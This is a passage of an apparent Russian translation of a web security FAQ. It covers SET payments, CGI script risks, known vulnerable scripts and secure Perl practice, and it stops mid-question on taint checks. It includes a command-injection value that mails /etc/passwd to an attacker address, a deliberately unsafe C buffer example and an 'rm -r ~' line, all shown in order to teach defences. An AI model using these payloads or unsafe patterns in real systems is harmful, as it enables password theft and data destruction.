Протокол SET, или *Secure Electronic Transaction (безопасное электронное взаимодействие)*, представляет собой открытый стандарт для обработки выплат по кредитным картам в Internet, созданный совместно фирмами Netscape, Microsoft, Visa и Mastercard. Основное преимущество SET - универсальность. Программы, поддерживающие его, будут иметь возможность взаимодействовать с программами других производителей.

Учитывая широкие возможности для мошенничества в Internet, SET использует сложную систему проверки всех сторон, участвующих в операции - заказчик, поставщик, организация, выпустившая карту и банк продавца - все идентифицируются при помощи специальных заверенных сертификатов. Для сохранения прав личности, поставщик получает доступ к информации в части предмета заказа, стоимости заказа и подтверждения оплаты, но не в части способа оплаты, выбранного заказчиком. Фирма, выпустившая кредитную карту, в свою очередь, имеет доступ к информации о стоимости заказа, но не о том, где он был сделан. Однако, не смотря на эти предосторожности, SET не предоставляет того уровня анонимности, которого достигает система DigiCash.

SET требует специального программного обеспечения и на стороне продавца, и на стороне покупателя. По крайней мере, на стороне заказчика программа может быть загружена тут же в форме апплета Java и/или элемента ActiveX. В настоящее время имеются два продукта, поддерживающие SET. Microsoft Merchant - система, предлагаемая фирмой Microsoft Corporation. Построенный вокруг Internet Information Server, Microsoft Merchant предлагает проверку кредитных карт с использованием службы Verifone. Вдобавок, Microsoft Merchant предлагает такие услуги, как поддержание каталогов, скрипты для заказов, вычисление налогов с продаж. Microsoft Merchant существовал в виде предварительной (beta) версии в ноябре 1996 года, и должен быть доступен в то время, когда вы это читаете.

В свою очередь, корпорация Netscape, в сотрудничестве со своим стратегическим партнером First Data, предлагает LivePayment. Это - добавочный модуль для сервера Netscape Secure Commerce Server, предоставляющий возможность защищенной передачи, прверки и обработки информации о кредитноц карте. вы можете добавлять модули для поддержки каталогов, связи с корпоративной базой данных и другие. В его теперешней реализации, LivePayment использует предшественник SET, похожий на стандарт, но не идентичный. Полностью SET-совместимая версия должна быть выпущена в скором времени.

Open Market Web Commerce System

Open Market, Inc., также предлагает систему сетевой коммерции. В этой схеме Open Market сам действует как компания, выпускающая кредитные карты, обеспечивая выписку, ведение счетов и выплаты. Схема встроена в сервер Open Marketplace Server и требует использования браузера, поддерживающего протокол SHTTP или SSL. Продукты предназначены в первую очередь для больших корпораций, банков и поставщиков услуг, которые хотят организовать виртуальные супермаркеты, и имеют соответствующие цены. Информацию можно получить по адресу:

http://www.openmarket.com/

6. Скрипты CGI (скрипты сервера)

B31: В чем проблемы со скриптами CGI?

Проблема в том, что любой из них может содержать ошибку, которую можно использовать. Скрипты CGI должны быть написаны с той же осторожностью и вниманием, что и программы самого сервера, поскольку на самом деле они и есть маленькие серверы. К сожалению, для многих авторов программ в Web скрипты CGI являются первым опытом программирования в сетях.

Скрипты CGI могут открывать лазейки двумя путями:

1. Они могут, случайно или преднамеренно, предоставлять информацию о системе, которая может быть использована хакером.
2. Скрипты, которые обрабатывают данные, вводимые удаленным пользователем через формы ввода, могут подвергаться атакам, при которых пользователь заставляет их выполнять произвольные команды.

Скрипты CGI являются потенциальными лазейками даже в том случае, если вы запускаете сервер с правами пользователя "nobody". Взломаный скрипт, работая с правами nobody, тем не менее пользуется правами, достаточными для отсылки по электронной почте файла паролей, получения карт локальной сети или инициирования входа в систему через порт с большим номером (для выполнения этого необходимо всего лишь выполнить несколько команд на языке Perl). Даже если ваш сервер запущен в среде chroot, ошибочный скрипт может выдать информацию, достаточную для взлома системы.

B32: Что безопаснее - хранить скрипты в директории cgi-bin, или хранить их где-нибудь в директориях документов, присваивая им расширение .cgi?

Хотя особой опасности в хранении скриптов вместе с документами нет, но лучше хранить их в отдельном директории. Гораздо легче контролировать доступ к скриптам CGI, могущим представлять собой лазейки в безопасности, тогда, когда они хранятся отдельно, чем если они разбросаны по разным директориям. Особенно актуально это в ситуации, когда на сервере работает много авторов документов Web. Автор очень легко может написать скрипт, содержащий случайную ошибку, и поместить его среди документов. Ограничивая область размещения скриптов директорием cgi-bin с правами доступа, разрешающими установку новых скриптов только системному администратору, вы избегаете хаоса на сервере.

Существует также опасность того, что хакер сможет разместить файл с расширением .cgi в директории документов, а затем запустить его на исполнение, обратившись с запросом к серверу. Использование директория cgi-bin с правильно установленными правами доступа уменьшает вероятность такого события.

B33: Являются ли компилируемые языки, такие как C, более безопасными, чем интерпретируемые, подобные Perl или языкам оболочек операционных систем?

Да, но с множеством оговорок.

Прежде всего, важен вопрос о возможности для удаленного пользователя получить исходный текст программы. Чем больше хакер знает о том, как работает скрипт, тем легче ему найти и использовать ошибки в нем. При использовании компилируемых языков вы можете создать двоичный выполняемый файл, поместить его на сервер и не беспокоиться о том, что хакер может получить доступ к исходному тексту программы. Напртив, в случае интерпретируемых языков исходный текст всегда потенциально доступен. Хотя правильно настроенный сервер не должен передавать текст скрипта, существуют различные пути обхода этого ограничения.

Рассмотрим следующий сценарий. Из соображений удобства, вы настроили сервер на распознавание скриптов CGI по расширению имени файла .cgi. Затем вам понадобилось отредактировать интерпретируемый скрипт CGI. Вы открываете его с помощью текстового редактора Emacs и изменяете нужным образом. Увы, редактор оставляет резервную копию файла с исходным текстом программы в дереве документов. И хотя удаленный пользователь не может получить исходный текст при обращении к самому скрипту, он имеет возможность получить резервную копию файла попросту выбрав адрес **URL:**

```
http://ваш-узел/путь/к/ваш_скрипт.cgi~
```

(это еще одна причина, по которой безопаснее ограничить область хранения скриптов отдельным директорием и ограничить доступ к нему.)

Конечно, во многих случаях исходные тексты скриптов на C свободно распространяются по Сети, и у хакеров не возникнет проблем с доступом к ним.

Еще одна причина большей безопасности компилируемых программ - вопросы размера и сложности. Большие программы, такие как интерпретаторы языков программирования и оболочки ОС, скорее всего содержат ошибки. Эти ошибки могут открывать лазейки в безопасности. Они существуют, просто мы о них не знаем.

Третий фактор - возможность использовать языки, на которых пишут скрипты, для передачи данных системным командам и получение результатов их выполнения. Как будет описано далее, выполнение системных команд при работе скрипта - один из основных источников лазеек в безопасности. В C выполнить системную команду сложнее, и менее вероятно, что программист будет использоватьб эту возможность. Наоборот, написать скрипт любой степени сложности на языке оболочки операционной системы, полностью избегая использования опасных инструкций, очень сложно. Языки оболочек ОС - плохой выбор при разработке хоть сколько-нибудь сложных скриптов CGI.

Прочтя все это, пожалуйста поймите, что нет гарантии того, что программа на C будет безопасной. Программы на C могут содержать множество опасных ошибок, как показывает пример программ NCSA httpd 1.3 и sendmail. В свою очередь, программы на интерпретируемых языках как правило имеют меньший объем текста и легче могут быть поняты лицами, не участвовавшими в разработке, с целью контроля. Далее, язык Perl содержит ряд встроенных функций, предназначенных для перехвата возможных лазеек в безопасности. Например, "проверки на чистоту" (taint checks, см. далее)

перехватывают многие обычные недостатки в текстах программ и делают скрипты Perl в некотором отношении более безопасными, чем аналогичные программы на C.

B34: Я нашел в Сети замечательный скрипт и хочу установить его у себя. Как мне убедиться в его безопасности?

Вы никогда не можете быть уверены, что скрипт безопасен. Лучшее, что вы можете сделать - внимательно изучить скрипт и понять, что и как он делает. Если вы не владеете языком, на котором написан скрипт, обратитесь к кому-нибуть, кто знает этот язык.

Вот вопросы, которые следует учитывать при изучении скрипта:

1. Насколько он сложен? Чем скрипт больше, тем вероятнее, что с ним могут возникнуть проблемы.
2. Выполняет ли он чтение или запись файлов на сервере? Программы, выполняющие чтение файлов, могут случайно нарушить ограничения доступа, установленные вами, или передать хакерам важную информацию о системе. Программы, пишущие в файлы, могут случайно повредить файлы документов, или, в худшем случае, запускать "троянских коней" в вашу систему.
3. Взаимодействует ли он с другими программами в вашей системе? Например, многие скрипты CGI посылают сообщения по электронной почте в ответ на запросы, введенные через формы ввода, и используют для этого программу sendmail. Безопасно ли выполняются такие действия?
4. Выполняется ли он с правами suid (set-user-id, установленный идентификатор пользователя)? В общем случае это очень опасно, и скрипт должен иметь веские основания для использования suid.
5. Использовал ли автор скрипта проверку данных, вводимых пользователем через формы ввода? Проверка вводимых данных служит показателем того, что автор скрипта заботился о его безопасности.
6. Указывал ли автор полный путь доступа к внешним программам, используемым в скрипте? Доверять переменным окружения PATH для нахождения файлов по неполному пути доступа является небезопасной практикой.

B35: Какие скрипты CGI содержат известные лазейки в безопасности?

Заметное число свободно распространяемых скриптов CGI содержат известные лазейки в безопасности. Многие из тех лазеек, которые здесь указаны, были закрыты, но если вы используете старую версию, не имеющую исправления, то вы можете подвергаться опасности. В таком случае - обновите вашу версию. Если для скрипта нет исправлений, то лучше от него избавиться.

TextCounter от Matt Wright, версии 1.0-1.2 (Perl) и 1.0-1.3 (C++) (июнь 1998)

Ранние версии программы TextCounter, используемой для размещения счетчиков обращений на страницах, не удаляет метасимволы оболочки из содержимого запросов пользователя. Как результат, удаленный пользователь может запускать системные команды на сервере. Лазейка есть как в Perl, так и в C++ версиях скрипта. Обновите скрипт до версии 1.21 (Perl) или 1.31 (C++):

- (Perl) http://www.worldwidemart.com/scripts/textcounter.shtml
- (C++) http://www.worldwidemart.com/scripts/C++/textcounter.shtml

Различные гостевые книги (июнь 1998)

Продолжают появляться сообщения о взломах различных скриптов гостевых книг. Впервые лазейка была найдена в Selena Sol guestbook, но обнаруживается и в других скриптах. Лазейки используют сохранение элементов в текстах, вводимых пользователем, и то, что многие программы сохраняют файлы в директриях, в которых разрешены вставки на сервере. Скрипт гостевой книги должен удалять HTML и пользовательских текстов, или заменять угловые скобки на > and <. Файлы, которые пишет скрипт, **не должны** находиться в директории, в котором разрешены вставки на сервере, active server pages, страницы PHP или другие системы темплат HTML. Подробное описание проблемы смотрите в архиве Selena Sol: http://www.extropia.com/

Excite Web Search Engine (EWS), версии 1.0-1.1 (January 1998)

Excite Web Search engine не проверяет содержимое текстовых строк, вводимых пользователем, перед передачей их для интерпритации оболочке операционной системы, что позволяет удаленным пользователям выполнять команды на сервере. Команды будут выполняться с правами доступа сервера Web. Ошибка затрагивает версии для Unix и для NT. См. http://www.excite.com/navigate/patches.html для получения исправлений. Имейте в виду, что ошибка затрагивает ваш сервер только в том случае, когда скрипт установлен локально. Она не затрагивает узлы, содержащие ссылки на страницы поиска Excite.com и страницы, проиндексированные роботом Excite.

info2www, версии 1.0-1.1

info2www, конвертирующий файлы формата GNU info в документы Web, не выполняет проверки имен файлов, предоставленных пользователем, перед их открытием. В результате, этот скрипт может быть использован для доступа к системным файлам или выполнения системных команд, содержащих метасимволы коммандного процессора. Версия 1.2 и более поздние, как сообщается, не содержат этой ошибки, но, поскольку существует множество версий этого скрипта, лучше всего проверить исходный текст программы перед ее установкой. То же относится к скриптам info2html и infogate, которые являются производными от info2www.

Count.cgi, версии 1.0-2.3

Count.cgi, широко используемый для подсчета числа обращений к странице, содержит ошибку, приводящую к переполнению стека. Это дает возможность злоумышленнику выполнять произвольные команды на сервере, для чего необходимо послать для обработки специально подобранную строку запроса. Ошибка исправлена в версии 2.4. Эту версию можно найти здесь: http://www.fccc.edu/users/muquit/Count.html.

webdist.cgi, часть IRIX Mindshare *Out Box* версии 1.0-1.2

Этот скрипт является частью системы, позволяющей пользователю получать и распространять программное обеспечение по сети. Из-за неправильной проверки параметров, передаваемых скрипту, удаленный пользователь имеет возможность выполнения на сервере системных команд с правами доступа демона сервера.

По состоянию на 12 июня 1997 года, эта ошибка не была исправлена . Обращайтесь в Mindshare за справками. До того, как ваша копия webdist.cgi будет исправлена, выключите ее, сняв с нее права доступа на выполнение.

php.cgi, многие версии

Скрипт php.cgi, реализующий язык программирования, включаемый в HTML, дающий массу замечательных возможностей, **никогда** не должен устанавливаться в директории скриптов (cgi-bin). Это позволяет кому угодно выполнять команды оболочки ОС на машине, на которой установлен сервер WWW. Кроме того, версии до 2.0b11 содержат известные лазейки в безопасности. Убедитесь в том, что вы используете самую последнюю версию, и периодически проверяйте узел PHP (см. адрес ниже) на предмет других новостей в части безопасности. Утверждается, что версия PHP - **модуль для сервера Apache** не содержит этой лазейки,

поскольку не выполняется как скрипт CGI. Тем не менее, имеет смысл поддерживать вашу систему в соответствии последней версии.
http://php.iquest.net/

files.pl, часть Novell WebServer Examples Toolkit v.2
По причине отсутствия проверки вводимых данных, скрипт *files.pl*, распространяемый с Novell WebServer, позволяет пользователю просматривать любой файл или директорий на вашей машине, предоставляя тем самым доступ к конфиденциальным документам и возможность для хакеров получать информацию, необходимую для проникновения на вашу машину. Уберите этот скрипт, а также все другие (примеры и пр.) скрипты, которые вы не используете.

Microsoft FrontPage Extensions, версии 1.0-1.1
При определенных условиях пользователь может повреждать файлы, к которым у него нет прав доступа, переписывая или добавляя их содержимое. На серверах, использующих вставки на сервере (server-side includes), удаленный пользователь может использовать эту ошибку для выполнения системных команд на машине.
http://www.microsoft.com/frontpage/documents/bugQA.htm

Скрипт Guestbook от Selena Sol, все версии
Это не столько лазейка, сколько ее возможность. Если на вашем сервере разрешено использование вставок на сервере в guestbook, и если этот скрипт позволяет вводить элементы HTML в поля текстового ввода, то удаленный пользователь может иметь возможность выполнения произвольных команд на вашем сервере. Полное объяснение и исправления можно найти по адресу: http://www.eff.org/~erict/Scripts/guestbook.html

nph-test-cgi, все версии
Этот скрипт, включенный во многие версии серверов NCSA и Apache, может быть использован для получения списка содержимого любого директория на сервере. Он должен быть уничтожен или выключен путем запрета выполнения.

nph-publish, версии 1.0-1.1
При определенных условиях пользователь может повреждать общедоступные для записи файлы на сервере.
http://www.genome.wi.mit.edu/~lstein/server_publish/

AnyForm, версия 1.0
Пользователь может выполнять системные команды на сервере.
http://www.uky.edu/~johnr/AnyForm2

FormMail, версия 1.0
Пользователь может выполнять системные команды на сервере.
http://alpha.pr1.k12.co.us/~mattw/scripts.html

скрипт "phf", телефонная книга, распространяемый с серверами NCSA httpd и Apache, все версии
Пользователь может выполнять системные команды на сервере.
http://hoohoo.ncsa.uiuc.edu/

К стыду, один из ошибочных скриптов, *nph-publish*, был написан автором этого документа. Скрипт предназначен для публикации на сервере Apache документов, редактируемых при помощи "публикующего" редактора, такого, например, как Netscape Navigator Gold. автор не проверял необходимым образом пути доступа к файлам, вводимые пользователем, потенциально давая возможность сохранять файлы там, где не положено. Это может создать серьезные проблемы в случае, если сервер запущен с большими привилегиями. **Если вы используете этот скрипт, то обновите версию на 1.2 или более позднюю.** Ошибка была обнаружена Randal Schwartz (merlyn@stonehenge.com).

Ошибки во второй паре скриптов в списке были обнаружены Paul Phillips (paulp@cerf.net), автором CGI security FAQ. Лазейка в PHF (телефонная книга) найдена Jennifer Myers mailto:jmyers@marigold.eecs.nwu.edu, она представляет собой потенциальную лазейку, содержащуюся

во всех скриптах CGI, использующих библиотеку NCSA `util.c`. Здесь можно найти информацию о том, как исправить лазейку в `util.c`.

периодически здесь будет добавляться информация о других скриптах, содержащих ошибки.

Добавим, что один из скриптов, приведенных как пример "хорошего программирования CGI" в книге "Build a Web Site" (Построение узла Web, net.Genesis и Devra Hall), содержит классическую ошибку, заключающуюся в передаче непроверенной пользовательской переменной оболочке операционной системы. Скрипт приведен в разделе 11.4, "Простой скрипт для поиска с использованием grep", страница 443. Другие скрипты в этой книге также могут содержать ошибки.

Этот список далек от полноты. Никакая организация не занимается отслеживанием распространяемых скриптов. CERT выпускает сообщения о скриптах с ошибками, когда узнает о них, и имеет смысл подписаться на их список рассылки, или иногда просматривать свежие архивы (смотри Библиография).

Безусловно, на вашей совести лежит проверка безопасности каждого используемого вами скрипта.

B36: Я разрабатываю собственные скрипты CGI. Чего мне следует избегать?

1. Избегайте предоставления излишней информации о вашем узле и сервере.

   Не смотря на возможность достижения красивых эффектов, следует избегать использования скриптов, предоставляющих информацию о вашей системе. Например, команда finger часто выводит путь к домашнему директорию пользователя, и скрипт, использующий эту команду, выдает эту информацию (на самом деле вам следует полностью выключить finger, предпочтительно даже стереть этого демона). Команда `w` дает информацию о ресурсах, используемых локальными пользователями. Команда `ps`, со всеми ее формами, дает потенциальному взломщику полезные сведения о том, какие демоны активны в вашей системе.

2. Если вы пишите на компилируемом языке, таком как C, то избегайте делать предположения об объемах данных, вводимых пользователем.

   ОСНОВНОЙ источник лазеек в безопасности - переполнение буферов при чтении данных, вводимых пользователем. Вот простая иллюстрация проблемы:

```
#include <stdlib.h>

#include <stdio.h>

static char query_string[1024];

char* read_POST() {


   int query_size;
   query_size=atoi(getenv("CONTENT_LENGTH"));
   fread(query_string,query_size,1,stdin);
   return query_string;

}
```

Проблема здесь в том, что автор предполагает, что объем вводимых данных, полученных методом POST, никогда не превысит размера статического буфера, 1024 байта. Это плохо. Злой хакер может нарушить работу программы, введя гораздо больший объем данных. В некоторых ситуациях при переполнении буфера и сбое программы хакер может иметь возможность выполнения произвольных команд на сервере.

Приведем простой пример функции read_POST(), обходящей эту проблему путем динамического резервирования памяти. Если памяти недостаточно, то функция возвращает значение NULL.

```
char* read_POST() {


   int query_size=atoi(getenv("CONTENT_LENGTH"));
   char* query_string = (char*) malloc(query_size);
   if (query_string != NULL)
      fread(query_string,query_size,1,stdin);
   return query_string;
}
```

Конечно, после чтения данных, вы должны продолжать следить за тем, чтобы буфер не переполнился. Контролируйте такие функции, как strcpy(), strcat() и другие функции для работы со строками, которые производят копирование до тех пор, пока не достигнут конца строки. Используйте вместо них функции strncpy() и strncat().

```
#define MAXSTRINGLENGTH 255
char myString[MAXSTRINGLENGTH + sizeof('\0')];
char* query = read_POST();
assert(query != NULL);
strncpy(myString,query,MAXSTRINGLENGTH);
myString[MAXSTRINGLENGTH]='\0';      /* Обеспечить 0 в конце строки */
```

(Заметте, что дейсвия strncpy могут быть опасны в ситуации, когда строка имеет длину MAXSTRINGLENGTH, что ведет к необходимости явно обрезать строку, вставляя символ '\0'.)

3. Никогда, *никогда*, **никогда** не передавайте непроверенное содержимое пользовательского ввода командам оболочки операционной системы.

   В языке C это директивы popen() и system(), которые вызывают /bin/sh для обработки команды. В языке Perl сюда относятся функции system(), exec() и перенаправленная (piped) open(), а также функция eval(), запускающая сам интерпретатор Perl. В различных оболочках сюда попадают команды exec и eval.

   Обратные кавычки, дающие возможность перехвата вывода программ в виде текстовых строк в интерпретаторах оболочек ОС и языке Perl, также небезопасны.

Проиллюстрируем необходимость некоторой паранои в этих вопросах на примере с первого взгляда безопасного фрагмента кода на языке Perl, который должен посылать электронную почту по адресу, указанному в форме ввода.

```
$mail_to = &get_name_from_input; # получить адрес из формы ввода
open (MAIL,"| /usr/lib/sendmail $mail_to");
print MAIL "To: $mailto\nFrom: me\n\nHi there!\n";
close MAIL;
```

Проблема состоит в вызове open(). Автор подразумевал, что содержимое переменной $mail_to всегда будет представлять корректный адрес e-mail. Но что произойдкт, если хакер введет адрес, выглядящий следующим образом?

```
nobody@nowhere.com;mail badguys@hell.org</etc/passwd;
```

Теперь инструкция open() выполнит следующую команду:

```
/usr/lib/sendmail nobody@nowhere.com; mail badguys@hell.org</etc/passwd
```

Увы, open() послала содержимое системного файла паролей удаленному пользователю, открыв тем самым возможность для взлома паролей.

B37: Но если я не должен использовать eval(), exec(), popen() и system(), то как мне обеспечить доступ к моей базе данных/поисковой системе/графическому пакету?

Вам не нужно совсем не использовать этих функций. Просто вы должны понимать, что вы делаете, перед тем, как их использовать. В некоторых случаях вы можете избежать передачи пользовательских переменных оболочке ОС, вызывая внешние программы иным образом. Например, sendmail имеет флаг -t, который заставляет ее игнорировать адрес, имеющийся в командной строке, и использовать адрес, имеющийся в заголовке файла письма. Приведенный выше пример может быть изменен с целью использования этой возможности следующим образом (здесь также использован флаг -oi для избежания преждевременного окончания передачи если sendmail обнаружит точку в начале строки):

```
$mailto = &get_name_from_input; # получить адрес из формы ввода
open (MAIL,"| /usr/lib/sendmail -t -oi");
print MAIL <<END;
To: $mailto
From: me (me\@nowhere.com)
Subject: ничего особенного

Привет!
END
close MAIL;
```

Программисты, пишущие на C, могут использовать семейство функций exec для передачи параметров запускаемым программам напрямую, а не через оболочку ОС. Того же можно достичь и в Perl, используя приведенную ниже технику.

Вы должны искать пути, позволяющие избежать запуска оболочки ОС (shell). В тех редких случаях, когда у вас нет другого выбора, вы должны *всегда* проверять содержимое ввода на присутствие метасимволов языка оболочки и удалять их. Список таких символов достаточно обширен:

```
&;`'\"|*?~<>^()[]{}$\n\r
```

Обратите внимание на то, что сюда входят символы перевода строки и возврата каретки (LF и CR) - те, что кто-то из NCSA забыл, когда он (или она) писал широко распространяемую библиотеку `util.c` как пример программирования CGI на C.

Еще лучше убедиться, что параметры, предоставляемые пользователем, точно соответствуют тому, что должно быть, а не просто удалять метасимволы из переменной в надежде, что вы не получите неожиданных побочных эффектов. Даже если вы передаете пользовательские переменные в вызываемую вами программу напрямую, а не через оболочку ОС, они все равно могут содержать конструкции, открывающие лазейки в вызываемой программе.

Вот пример того, как можно убедиться, что адрес, предоставленный пользователем и содержащийся в переменной $mail_to, *действительно* выглядит как адрес электронной почты:

```
$mail_to = &get_name_from_input; # получить адрес из формы ввода
unless ($mail_to =~ /^[\w-.]+\@[\w-.]+$/) {
   die 'Адрес не соответствует форме foo@nowhere.com';
}
```

(Для некоторых узлов приведенные ограничения могут быть слишком жесткими. Они не допускают адресов в формате UUCP или любой другой из многих альтернативных схем построения адресов e-mail).

B38: Безопасно ли пользоваться переменной окружения PATH для нахождения внешних программ?

На самом деле - нет. Один из любимых хакерских методов состоит в том, чтобы изменить содержимое переменной PATH таким образом, чтобы она указывала на ту программу, которую хочет запустить хакер, а не на ту, которую вы имеете в виду. Кроме проверки параметров, передаваемых внешним программам, вы должны использовать полные пути доступа к ним, а не доверять переменной PATH. То есть, вместо такого фрагмента кода на C:

```
system("ls -l /local/web/foo");
```

используйте такой:

```
system("/bin/ls -l /local/web/foo");
```

Если вам необходимо использовать переменную PATH, то установите ее значение явным образом в начале скрипта CGI:

```
putenv("PATH=/bin:/usr/bin:/usr/local/bin");
```

Во всех случаях, не следует включать в состав переменной PATH текущий директорий (".").

B39: Я слышал, что существует пакет cgiwrap, который делает скрипты CGI более безопасными?

Это не совсем так. cgiwrap (автор - Nathan Neulinger <nneul@umr.edu>, http://www.umr.edu/~cgiwrap) разработан для многопользовательских узлов, таких как университетские серверы, где пользователям

разрешается создавать свои собственные скрипты CGI. Поскольку скрипты выполняются с правами того же пользователя, правами которого пользуется сервер (т.е. "nobody"), то администратору в такой ситуации трудно определить, чей именно скрипт вызывает ошибочно посланные письма, ошибки в файлах трассировки или идиотские сообщения на дисплеях других пользователей. Кроме того, возникают проблемы с защитой: при выполнении с теми же правами, скрипт одного пользователя может, например, случайно (или преднамеренно) разрушить базу данных, поддерживаемую скриптом другого пользователя.

cgiwrap позволяет вам так организовать скрипты, что они теперь выполняются под идентификатором того пользователя, которому принадлежат. Эта политика может быть усилена таким образом, что пользователь *должен* использовать cgiwrap для того, чтобы скрипт смог быть выполнен. Хотя это упрощает администрирование и предотвращает помехи пользователям сос стороны других пользователей, это привносит риск для пользователя. Поскольку скрипты выполняются теперь с правами владельца, взломанный скрипт может полностью очистить домашний директорий пользователя, выполнив команду

```
rm -r ~
```

Хуже того, поскольку взломанный скрипт обладает правами записи в домашний директорий пользователя, он может поместить туда троянского коня, подвергая тем самым риску всю ситему. Пользователь nobody, по крайней мере, как правило не имеет прав записи нигде в системе.

sbox

sbox, написанный автором настоящего документа, представляет собой другую оболочку для запуска скриптов CGI. Подобно cgiwrap, он запускает скрипт с правами пользователя и/или группы, к которой принадлежит автор скрипта. Кроме того, *sbox* предпринимает дополнительные действия для обеспечения безопасности. Он выполняет команду *chroot* и меняет корневой директорий скрипта, изолируя его от домашнего директория пользователя и большей части файловой системы и ограничивает системные ресурсы, доступные для использования в скрипте. Это позволяет бороться с определенными нападениями с целью подавления.

sbox в настоящее время находится в стадии бета-тестирования. Если у вас есть желание попробовать использовать *sbox*, то вы можете его получить на URL http://www.genome.wi.mit.edu/~lstein/sbox/. *sbox* не был еще достаточно тщательно отлажен и может содержать ошибки, в том числе - лазейки в безопасности. Пожалуйста, соблюдайте осторожность.

B40: Правда ли, что пользователи могут получать доступ к скриптам только через формы ввода, имеющиеся на моем сервере?

Нет. Хотя вы имеете возможность ограничить доступ к скриптам на основе адресов IP или комбинаций имени пользователя и пароля, вы не можете контролировать того, каким образом запускается скрипт. Скрипт может быть вызван через любую форму, где угодно в мире. Или механизм форм может быть обойден полностью, и скрипт может быть запущен путем прямого обращения к его адресу URL. Не подразумевайте, что скрипт всегда будет вызываться через формы, которые вы написали для работы с ним. Считайте, что некоторые параметры могут отсутствовать или иметь неожиданные значения.

Ограничивая права доступа к скрипту, не забудте ограничить доступ к _самому_ скрипту, а не только ко всем формам ввода, позволяющим с ним работать. Соблюсти это требование проще, если скрипт сам генерирует формы ввода для себя при обращении к нему.

B41: Могут ли пользователи видеть или изменять значения спрятанных ("hidden") переменных в формах ввода?

Конечно да! Спрятанные переменные присутствуют в тексте документа на HTML, который сервер передает браузеру. Для того, чтобы их увидеть, пользователю достаточно выбрать пункт "показать текст" ("view source", источник) в меню браузера. Ничто также не мешает пользователю установить содержимое переменной так, как он желает, и послать ее обратно вашему скрипту. Не доверяйте спрятанным переменным в вопросах безопасности.

B42: Является ли использование метода POST для отсылки форм ввода более защищенным, чем использование "GET"?

Это так, если вас волнует попадание содержимого форм в файлы трассировки сервера или представителей (proxy) на пути их передачи по сети. Данные запросов, передаваемых с использованием метода POST, как правило не попадают в файлы трассировки, в отличие от запросов, пересылаемых методом GET. В других аспектах нет разницы между безопасностью при использовании методов GET и POST. Перехватить запрос, передаваемый методом GET, так же просто, как и передаваемый методом POST. Более того, в отличие от некоторых ранних реализаций шифрования протокола HTTP, современное поколение шифрующих сочетаний сервер/браузер шифруют запросы GET так же хорошо, как и запросы POST.

B43: Где можно получить дальнейшую информацию по безопасному программированию CGI?

CGI security FAQ (вопросы и ответы по безопасности CGI), поддерживаемый Paul Phillips (mailto:paulp@cerf.net), можно найти по адресу:
http://www.go2net.com/people/paulp/cgi-security/safe-cgi.txt
Этот документ содержит большое количество рекомендаций по безопасности, однако он не обновлялся с сентября 1995 года. После этого Selena Sol опубликовала отличную статью о рисках, связанных с установкой готовых скриптов, с большим количеством советов по настройке их скриптов для повышения надежности. Статью можно найти на URL:
http://Stars.com/Authoring/Scripting/Security/
Отличное введение в программирование на Perl и программирование CGI можно найти в Perl CGI FAQ,
http://www.perl.com/CPAN-local/doc/FAQs/cgi/perl-cgi-faq.html
авторы - Tom Christiansen (tchrist@perl.com) и Shishir Gundavaram (shishir@ora.com).

7. Безопасное программирование на Perl

B44: Как избежать передачи пользовательских переменных оболочке ОС при вызове exec() и system()?

В Perl вы можете запускать внешние программы различными путями. Вы можете перехватывать вывод внешних программ, используя обратные кавычки:

```
$date = `/bin/date`;
```

Вы можете открывать "туннель" (pipe) к программе:

```
open (SORT, " | /usr/bin/sort | /usr/bin/uniq");
```

Вы можете запускать внешние программы и ждать окончания их выполнения через system():

```
system "/usr/bin/sort < foo.in";
```

или вы можете запускать внешние программы *без возврата управления* с помощью exec():

```
exec "/usr/bin/sort < foo.in";
```

Все эти выражения являются опасными если используют данные, введенные пользователем, которые могут содержать метасимволы. Для system() и exec() существует синтаксическая возможность, позволяющая запускать внешние программы напрямую, без обращения к оболочке ОС. Если вы передаете внешней программе аргументы, представляющие собой не строку, а список, то Perl не будет использовать оболочку, и метасимволы не вызовут нежелательных побочных эффектов. Например:

```
system "/usr/bin/sort","foo.in";
```

Вы можете использовать эту особенность для того, чтобы открыть туннель, не обращаясь к оболочке ОС. Вызывая open в магической последовательности символов `|-`, вы запускаете копию Perl и открываете туннель (pipe) к этой копии. Дочерняя копия Perl затем немедленно запускае внешнюю программу, используя список аргументов для exec().

```
open (SORT,"|-") || exec "/usr/bin/sort",$uservariable;
while $line (@lines) {
  print SORT $line,"\n";
}
close SORT;
```

Для чтения из туннеля без обращения к оболочке можно использовать похожий способ, с последовательностью `-|`:

```
open(GREP,"-|") || exec "/usr/bin/grep",$userpattern,$filename;
while (<GREP>) {
  print "match: $_";
}
close GREP;
```

Это те формы open(), которые необходимо всегда использовать в случаях, когда в другой ситуации вы использовали бы перенаправление open (piped open).

Еще более хитрая возможность позволяет вам запускать внешние программы и обманывать их относительно их собственного названия. Это полезно при использовании программ, действия которых зависят от того, с использованием какого имени они запущены.

Вот синтакс:

```
system $настоящее_имя "ложное_имя","аргумент1","аргумент2"
```

Например:

```
$shell = "/bin/sh"

system $shell "-sh","-norc"
```

Этот пример запускает sh - оболочку операционной системы - с именем "-sh", заставляющим ее действовать интерактивно. Заметте, что настоящее имя программы должно храниться в виде переменной, и что между именем переменной и началом списка аргументов нет запятой.

Можно записать эту команду более компактно:

```
system { "/bin/sh" } "-sh","-norc"
```

B45: Что такое "проверки заразности" (taint checks) в Perl? Как их включить?

Как мы видели, одна из наиболее часто встречающихся проблем с безопасностью при программировании CGI - передача оболочке ОС пользовательских переменных без их проверки. Perl предлагает механизм проверки "заразности", который не позволяет этого делать. Любая переменная, которая проинициирована данными за пределами программы (включая данные из среды, стандартного ввода и командной строки) рассматривается как "заразная", и не может быть более использована за пределами программы. Зараза может распространяться. Если вы используете зараженную переменную для присвоения значения другой переменной, вторая переменная также оказывается заражена. Зараженные переменные не могут быть использованы для вызова eval(), system(), exec() или piped open(). Если вы попытаетесь это сделать, Perl прекращает работу и выводит предупреждение. Perl также откажется работать, если вы попытаетесь вызвать внешнюю программу, не установив явно значение переменной PATH.

В версии 4 языка Perl проверка включается при использовании специальной версии интерпретатора, называющейся "taintperl":

```
#!/usr/local/bin/taintperl
```

В версии 5 - используйте флаг -T при запуске интерпретатора:

```
#!/usr/local/bin/perl -T
```

Ниже описано как "обеззараживать" (untaint) переменные.

Для более полного обсуждения вопроса можно обратиться к CGI/Perl Taint Mode FAQ (автор - Gunther Birzniek).

B46: OK, я включил проверку заразности, как вы рекомендовали. Теперь мой скрипт прекращает работу с сообщением "Insecure $ENV{PATH} at line XX" при каждом запуске!

